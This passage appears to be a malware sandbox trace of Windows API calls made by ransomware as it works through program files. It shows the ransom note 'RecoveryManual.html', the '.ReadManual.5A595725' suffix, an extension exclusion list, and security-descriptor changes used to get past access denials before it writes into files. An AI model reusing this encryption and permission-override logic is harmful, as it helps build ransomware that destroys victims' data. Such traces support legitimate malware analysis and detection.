returned 0x184 [0252.942] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5088) returned 1 [0252.942] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e0, lpName=0x0) returned 0x1a0 [0252.942] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe6) returned 1 [0252.943] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.943] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.947] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.948] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e0) returned 0x2f0000 [0252.948] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.948] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37361656660) returned 1 [0252.948] CloseHandle (hObject=0x1a0) returned 1 [0252.948] SetSecurityInfo () returned 0x5 [0252.948] SetSecurityInfo () returned 0x5 [0252.948] LocalFree (hMem=0x674d38) returned 0x0 [0252.948] CloseHandle (hObject=0x184) returned 1 [0252.948] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.948] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0252.948] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.948] StrStrIW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.948] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.948] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.948] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.948] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.948] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.948] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.948] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.948] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.948] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.948] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.949] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.949] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.949] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.949] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.949] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" [0252.949] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725" [0252.949] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned 113 [0252.949] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37361751992) returned 1 [0252.949] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0252.949] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.949] GetLastError () returned 0x5 [0252.949] GetNamedSecurityInfoW () returned 0x0 [0252.949] SetNamedSecurityInfoW () returned 0x0 [0252.949] SetNamedSecurityInfoW () returned 0x0 [0252.950] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.950] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3130) returned 1 [0252.950] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc3a, lpName=0x0) returned 0x1a0 [0252.950] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf2) returned 1 [0252.951] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.951] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.953] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.953] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc3a) returned 0x2f0000 [0252.953] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.953] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37362187526) returned 1 [0252.953] CloseHandle (hObject=0x1a0) returned 1 [0252.953] SetSecurityInfo () returned 0x5 [0252.953] SetSecurityInfo () returned 0x5 [0252.953] LocalFree (hMem=0x674d38) returned 0x0 [0252.953] CloseHandle (hObject=0x184) returned 1 [0252.954] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.954] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0252.954] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.954] StrStrIW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.954] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.954] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.954] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.954] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.954] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.954] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.954] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.954] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.954] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.954] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.954] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.954] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.954] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.954] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.954] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" [0252.955] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725" [0252.955] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned 108 [0252.955] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37362335358) returned 1 [0252.955] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png")) returned 0x20 [0252.955] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.955] GetLastError () returned 0x5 [0252.955] GetNamedSecurityInfoW () returned 0x0 [0252.955] SetNamedSecurityInfoW () returned 0x0 [0252.955] SetNamedSecurityInfoW () returned 0x0 [0252.956] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.956] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5025) returned 1 [0252.956] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a1, lpName=0x0) returned 0x1a0 [0252.956] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe8) returned 1 [0252.957] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.957] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.959] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.959] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a1) returned 0x2f0000 [0252.959] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.959] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37362771908) returned 1 [0252.959] CloseHandle (hObject=0x1a0) returned 1 [0252.959] SetSecurityInfo () returned 0x5 [0252.959] SetSecurityInfo () returned 0x5 [0252.959] LocalFree (hMem=0x674d38) returned 0x0 [0252.959] CloseHandle (hObject=0x184) returned 1 [0252.959] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.959] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0252.959] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.959] StrStrIW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.959] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.959] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.960] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.960] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.960] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.960] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.960] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.960] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.960] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.960] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.960] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.960] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.960] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.960] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.960] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" [0252.960] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725" [0252.960] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned 114 [0252.960] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37362883882) returned 1 [0252.960] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png")) returned 0x20 [0252.960] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.960] GetLastError () returned 0x5 [0252.960] GetNamedSecurityInfoW () returned 0x0 [0252.961] SetNamedSecurityInfoW () returned 0x0 [0252.961] SetNamedSecurityInfoW () returned 0x0 [0252.962] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.962] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3118) returned 1 [0252.962] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2e, lpName=0x0) returned 0x1a0 [0252.962] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf4) returned 1 [0252.962] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.962] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.964] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.964] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2e) returned 0x2f0000 [0252.964] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.964] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37363304932) returned 1 [0252.964] CloseHandle (hObject=0x1a0) returned 1 [0252.964] SetSecurityInfo () returned 0x5 [0252.964] SetSecurityInfo () returned 0x5 [0252.964] LocalFree (hMem=0x674d38) returned 0x0 [0252.964] CloseHandle (hObject=0x184) returned 1 [0252.965] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.965] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0252.965] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.965] StrStrIW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.965] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.965] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.965] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.965] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.965] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.965] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.965] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.965] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.966] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.966] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.966] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.966] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.966] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.966] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.966] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" [0252.966] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725" [0252.966] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned 105 [0252.966] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37363455198) returned 1 [0252.966] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png")) returned 0x20 [0252.966] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.966] GetLastError () returned 0x5 [0252.966] GetNamedSecurityInfoW () returned 0x0 [0252.966] SetNamedSecurityInfoW () returned 0x0 [0252.966] SetNamedSecurityInfoW () returned 0x0 [0252.967] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.967] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4955) returned 1 [0252.967] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x135b, lpName=0x0) returned 0x1a0 [0252.967] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0252.968] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.968] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.969] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.970] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x135b) returned 0x2f0000 [0252.970] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.970] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37363864958) returned 1 [0252.970] CloseHandle (hObject=0x1a0) returned 1 [0252.970] SetSecurityInfo () returned 0x5 [0252.970] SetSecurityInfo () returned 0x5 [0252.970] LocalFree (hMem=0x674d38) returned 0x0 [0252.970] CloseHandle (hObject=0x184) returned 1 [0252.970] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.970] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0252.970] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.970] StrStrIW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.970] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.970] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.970] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.970] StrCmpIW (psz1="png", 